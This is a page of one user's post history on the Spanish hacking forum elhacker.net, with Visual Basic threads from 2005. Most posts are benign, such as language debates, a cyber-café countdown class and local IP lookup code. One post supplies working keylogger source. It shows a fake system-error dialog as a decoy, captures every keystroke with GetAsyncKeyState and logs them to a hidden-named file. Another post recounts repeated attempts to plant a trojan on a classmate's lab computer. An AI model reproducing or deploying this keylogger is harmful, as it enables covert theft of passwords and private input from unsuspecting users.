elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14
121  Programación / Programación Visual Basic / Re: Visual Basic: 6, .net, 2005, framework ¿¿?? en: 10 Octubre 2005, 23:43 pm
Citar
pero creo que MaLkAvIaN_NeT, estas menospreciando la tecnologia

..Bueno en realidad yo no menosprecio la tecnología ni quiero imponer un lenguaje, porque ciertamente no existen lenguajes buenos o malos la diferencia está en que hay cosas que se pueden hacer mejor en otros lenguajes, como los lenguajes orientados a objetos nativos como C++ en .NET C#, Java ahira J#, existe la posibilidad de que Power Builder, un lenguaje orientado a objetos se integre a ésta tecnología.
Como decía antes de salirme del tema es que es muy fácil hacer aplicaciones Win 32 en VB pero no en C++, en verdad no estoy diciendo que imposible pero realmente no me gustaría ver ese código si yo no fui el autor.

Citar
si deseas trabajar desarrollando soft en linux, pues usas mono  , puedes trabajar con C#, Visual Basic.Net y JScript http://monohispano.org


Mono es un buen proyecto, porque entre la gente de Microsoft existen personas que están a favor del software libre, y que algunos, no todos, saben de que Bill Gates quiere imponer una Hegemonía entre las empresas de software del Mundo, cree que tiene todo el poder y si quiere imita el trabajo hecho por otra empresa y le pone su firma constatando la autenticidad del producto por solo cambiarle unos mínimos detalles.

En verdad no estoy a favor ni en contra de Microsoft, ni a favor ni en contra de Linux pero hay hechos que nos llenan de insensatez
 
122  Programación / Programación Visual Basic / Re: cyber cafe en: 10 Octubre 2005, 23:23 pm
..Bueno hace tiempo trabaje uno de esos ,, con el cotrol Winsock,, el cual ponía el tiempo para la pc desde una máquina principal, lo que hacía era enviar un texto a la pc y ésta hacía un select case para ver que es lo que hacía, por ejemplo le enviaba la palabra acabatiempo, y la pc se bolqueaba con unas funciones api, se desabilitaba el teclado.
aqui unas funciones que hice:

Citar
Private Hora As String
Private Minuto As String
Private Segundo As String
Private mvarTiempo As String
Public Event TiempoAgotado()

Public Property Let Tiempo(ByVal vData As String)
    mvarTiempo = vData
End Property
Public Property Get Tiempo() As String
    Tiempo = mvarTiempo
End Property

Public Sub DesglosaTiempo(Horex As String)
Hora = ""
Minuto = ""
Segundo = ""
For I = 1 To Len(Horex)

    If Mid$(Horex, I, 1) = ":" Then
        For j = I + 1 To Len(Horex)
           
             If Mid$(Horex, j, 1) = ":" Then
                    For h = j + 1 To Len(Horex)
                        Segundo = Segundo + Mid$(Horex, h, 1)
                        If h = Len(Horex) Then Exit Sub
                    Next
           
                Else
                Minuto = Minuto + Mid$(Horex, j, 1)
             End If
        Next
    Else
    Hora = Hora + Mid$(Horex, I, 1)
    End If
Next
'(Format(Me.DTPicker2, "hh:mm:ss AMPM"))
'Me.CommonDialog1.ShowColor
End Sub

Public Function StarTiempo(Aumento As Boolean) As String
Call DesglosaTiempo(Tiempo)
If Aumento = True Then ' es decir si va en aumento

ElseIf Aumento = False Then 'aca para empezar el reloj del cliente

If Val(Segundo) = 0 Then
Segundo = 59
    If Minuto = 0 Then
        Minuto = 59
            If Hora >= 0 Then
                Hora = Val(Hora) - 1
            End If
    Else
        Minuto = Val(Minuto) - 1
    End If
Else
Segundo = Val(Segundo) - 1
End If
   
    If Val(Hora) = 0 And Val(Minuto) = 0 And Val(Segundo) = 0 Then
        RaiseEvent TiempoAgotado
    End If
 If Len(Hora) = 1 Then Hora = "0" + Trim$(Hora)
 If Len(Minuto) = 1 Then Minuto = "0" + Trim$(Minuto)
 If Len(Segundo) = 1 Then Segundo = "0" + Trim$(Segundo)
        StarTiempo = Trim$(Hora) + ":" + Trim(Minuto) + ":" + Trim(Segundo)
End If
End Function

Ojo que ese fue un módulo de clase

Citar
Private Declare Function inet_ntoa Lib "wsock32.dll" (ByVal addr As Long) As Long
Private Declare Function gethostname Lib "wsock32.dll" (ByVal hostname$, ByVal HostLen As Long) As Long
Private Declare Function gethostbyname Lib "wsock32.dll" (ByVal hostname$) As Long
Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVR As Long, lpWSAD As WSADATAType) As Long
Private Declare Function WSACleanup Lib "wsock32.dll" () As Long
Private Declare Function WSAIsBlocking Lib "wsock32.dll" () As Long
Private Declare Function WSACancelBlockingCall Lib "wsock32.dll" () As Long

Public CadenaIp As String, NombreEqu As String

Private Type in_addr
s_addr As Long
End Type

Private Type HostEnt
  h_name As Long
  h_aliases As Long
  h_addrtype As Integer
  h_length As Integer
  h_addr_list As Long
End Type

Private Const WSADescription_Len = 256
Private Const WSASYS_Status_Len = 128

Private Type WSADATAType
  wversion As Integer
  wHighVersion As Integer
  szDescription(0 To WSADescription_Len) As Byte
  szSystemStatus(0 To WSASYS_Status_Len) As Byte
  iMaxSockets As Integer
  iMaxUdpDg As Integer
  lpszVendorInfo As Long
End Type

Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long
Private Declare Sub MemCopy Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, ByVal Src As Long, ByVal cb&)

Public Sub LocalizaIp()
On Error Resume Next
For Each Ip In ObtenerIPLocal()
CadenaIp = Ip
Next
End Sub

Private Function ObtenerIPLocal()
On Error Resume Next

If Not (StartWinsock()) Then Exit Function '//inicialmente llamará a la funcion

Dim hostname As String * 256, hostent_addr As Long
Dim Host As HostEnt, hostip_addr As Long
Dim ad As in_addr, ipl As Long, ips As String
Dim ip_address() As String, x As Integer
ReDim ip_address(0 To 4)

If gethostname(hostname, 256) = -1 Then
Exit Function
Else
hostname = Trim$(hostname)
End If

hostent_addr = gethostbyname(hostname)

If hostent_addr = 0 Then Exit Function

MemCopy Host, hostent_addr, LenB(Host)
MemCopy hostip_addr, Host.h_addr_list, Host.h_length

Do

MemCopy ad.s_addr, hostip_addr, Host.h_length
ipl = inet_ntoa(ad.s_addr)

ips = String$(lstrlen(ipl) + 1, 0)
lstrcpy ips, ipl

ip_address(x) = ips

Host.h_addr_list = Host.h_addr_list + LenB(Host.h_addr_list)
MemCopy hostip_addr, Host.h_addr_list, Host.h_length

x = x + 1
Loop While (hostip_addr <> 0)

ReDim Preserve ip_address(x - 1)

ObtenerIPLocal = ip_address()

NombreEqu = hostname

Call EndWinsock
End Function

Private Function StartWinsock() As Boolean
'//iniciamos el componente
On Error Resume Next
Dim StartupData As WSADATAType
StartWinsock = IIf(WSAStartup(&H101, StartupData) = 0, True, False)
End Function

Private Sub EndWinsock()
On Error Resume Next
If WSAIsBlocking() Then Call WSACancelBlockingCall
Call WSACleanup
End Sub

salu2
123  Programación / Programación Visual Basic / Re: winsock en: 10 Octubre 2005, 23:07 pm
Solo necesitas la ip de la mákina y obiamente el server, luego es lo mismo

salu2
124  Programación / Programación Visual Basic / Re: Cómo cerrar desde un formulario una instancia de otro Objeto en VB.NET en: 8 Octubre 2005, 22:41 pm
..Bueno en Visaul Basic .net puedes utlizar la función
IsDisposed y la propiedad BringtoFront ,, no recuerdo muy bien el codigo pero se usan esas propiedades

Salu2
125  Programación / Programación Visual Basic / Re: Visual Basic: 6, .net, 2005, framework ¿¿?? en: 8 Octubre 2005, 05:03 am
Bueno hace tiempo nació uno de los mejor lenguajes web orientado a objetos 'JAVA' la peculiaridad de éste lenguaje fue que era multiplataforma y corría bajo cualquier Sistema Operativo, para ésto solo es necesario tener instalado el Virtual Machine, luego la basura de Microsoft sacó su Net Framework que trataba de ser una copia del Virtual Machine, pero no es multiplataforma a escepcion de si lo usas con el ASP.NET que es la evolución del VBScript y del Interdev y que trato de igual a un JAVA pero también estuvo por allí un PHP que es libre.
Visual Basic .Net no es la evolución de Visual Basic es totalmente diferente, pero Microsoft pensó en que sería complicado pasar de un lenguaje a otro, y aplicó una sintaxis basada en Visual Basic, tambien .NET tambien incluyo a C# que no es mas que un C++ para personas que quieren que la pc haga todo por ellos.  incluyó tambien a J# que no es mas que una vil copia de Java.
Bueno creo que la persona debe sentirse mejor programando donde se sienta más cómodo..
salu2
126  Programación / Programación Visual Basic / Re: Keylogger vuelto lokoOo! en: 5 Octubre 2005, 05:44 am
Bien man encontré este codigo y al ver tu post pensé que te podía servir

Citar
Global w As Integer
Global bb As Boolean

Citar
Dim m As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
bb = False
Dim v As Integer
v = vbRetry
Do While v = vbRetry
v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIgnore, "ERROR")
Loop
Timer1.Interval = 1
Timer2.Interval = 10000
m = Minute(Time) + 5
End Sub

Private Sub Text3_Change()
w = w + 1
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)

End If
Next
Text3.Text = Text1.Text
x = GetAsyncKeyState(112)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F1}"
End If
x = GetAsyncKeyState(113)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F2}"
End If
x = GetAsyncKeyState(114)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F3}"
End If
x = GetAsyncKeyState(115)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F4}"
End If
x = GetAsyncKeyState(116)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F5}"
End If
x = GetAsyncKeyState(117)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F6}"
End If
x = GetAsyncKeyState(118)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F7}"
End If
x = GetAsyncKeyState(119)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F8}"
End If
x = GetAsyncKeyState(120)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F9}"
End If
x = GetAsyncKeyState(121)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F10}"
End If
x = GetAsyncKeyState(122)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F11}"
End If
x = GetAsyncKeyState(123)
If x = -32767 Then
 Text1.Text = Text1.Text & "{F12}"
End If

x = GetAsyncKeyState(8)
If x = -32767 Then
 Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
End If

x = GetAsyncKeyState(9)
If x = -32767 Then
 Text1.Text = Text1.Text & "{tab}"
End If

x = GetAsyncKeyState(13)
If x = -32767 Then
 Text1.Text = Text1.Text & "{enter}"
 Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeyState(27)
If x = -32767 Then
 Text1.Text = Text1.Text & "{esc}"
 Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeyState(32)
If x = -32767 Then
 Text1.Text = Text1.Text & " "
End If

Dim cad As String
Dim num As String
Dim c As String
cad = Text1.Text
num = Right(cad, 1)
Text2.Text = num
c = num
If num = "a" Then
c = "1"
bb = True
End If
If num = "b" Then
c = "2"
bb = True
End If
If num = "c" Then
c = "3"
bb = True
End If
If num = "d" Then
c = "4"
bb = True
End If
If num = "e" Then
c = "5"
bb = True
End If
If num = "f" Then
c = "6"
bb = True
End If
If num = "g" Then
c = "7"
bb = True
End If
If num = "h" Then
c = "8"
bb = True
End If
If num = "i" Then
c = "9"
bb = True
End If
If num = "`" Then
c = "0"
bb = True
End If

Text2.Text = c

If bb = True Then
Dim g As Integer
g = Len(Text1.Text) - 1
Text1.Text = Left(Text1.Text, g) + c

bb = False

End If

End Sub

Private Sub Timer2_Timer()
Open "\wintec.txt" For Append As #1
Print #1, Text1.Text
Text1.Text = ""
Close #1
If (Minute(Time) >= m) Then
Open "\wintec.txt" For Append As #1
Print #1, "----------- ----------- ------------"
Close #1
End
End If

End Sub

salu2
127  Programación / Programación Visual Basic / Re: ..Ejecutar comandos en la consola desde vb en: 4 Octubre 2005, 04:52 am
OK mira la razon por la que te pregunte si era necesario tener un server, fue al ver que un compañero apago la pc principal del laboratorio donde estudio,, y todas las veces que yo queria mandarle un troyano el antivirus lo detectaba.
Pero ahora creo saber como hizo para apagar la pc sin la tener el server, claro que esto solo se da en una lan, mando por medio de la consola el comando shutdown-.. que sirve para apagar la pc y debe haber otro parémetro para mandar la ip, o la pc,, bueno lo estoy investigando,, si alguien tiene alguna opinion o quiere aclarar algo le agradecería que lo haga.

salu2
128  Programación / Programación Visual Basic / Re: ..Ejecutar comandos en la consola desde vb en: 4 Octubre 2005, 03:36 am
ok entiendo lo que quieres decirme pero me nace otra duda,,  para interactuar con otra pc remotamente con el winsock solo necesito la ip o tambien es necesario ejecutar el server en la otra pc.
129  Programación / Programación Visual Basic / ..Ejecutar comandos en la consola desde vb en: 4 Octubre 2005, 01:43 am
Hola compañeros aqui les posteo mi duda,, ojala entiendan lo que quiero hacer
Todos sabemos que podemos mandar un mensaje desde la consola msdos a otra pc de la misma red (con net send...)
bueno lo que quiero hacer es crear una interfaz en vb que haga esto,, para esto necesito sabes como puedo mandar un comando por ejemplo el net send a la consola msdos desde dos

gracias por su atencion
130  Programación / Programación Visual Basic / Re: obtener el nombre de los equipos de una red en: 1 Octubre 2005, 05:43 am
En realidad no tengo problemas para obtener funciones locales como la ip el nombre de usuario, etc,, el problema esta en que tengo una listview y alli deben aparecer un listado de todas las pc del laboratorio

por ejemplo pclab01, pclab02...

Bueno busco como hacerlo pero no lo hago :s

se tambien que lo podría conseguir con el winsock luego lo envío, pero no tiene que haber una conexión establecida, la idea es obtener las maquinas asi como cuando entras a mis sitios red y te muestra todas las pc de trabajo de la red.

gracias por su atencion y su ayuda

salu2
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines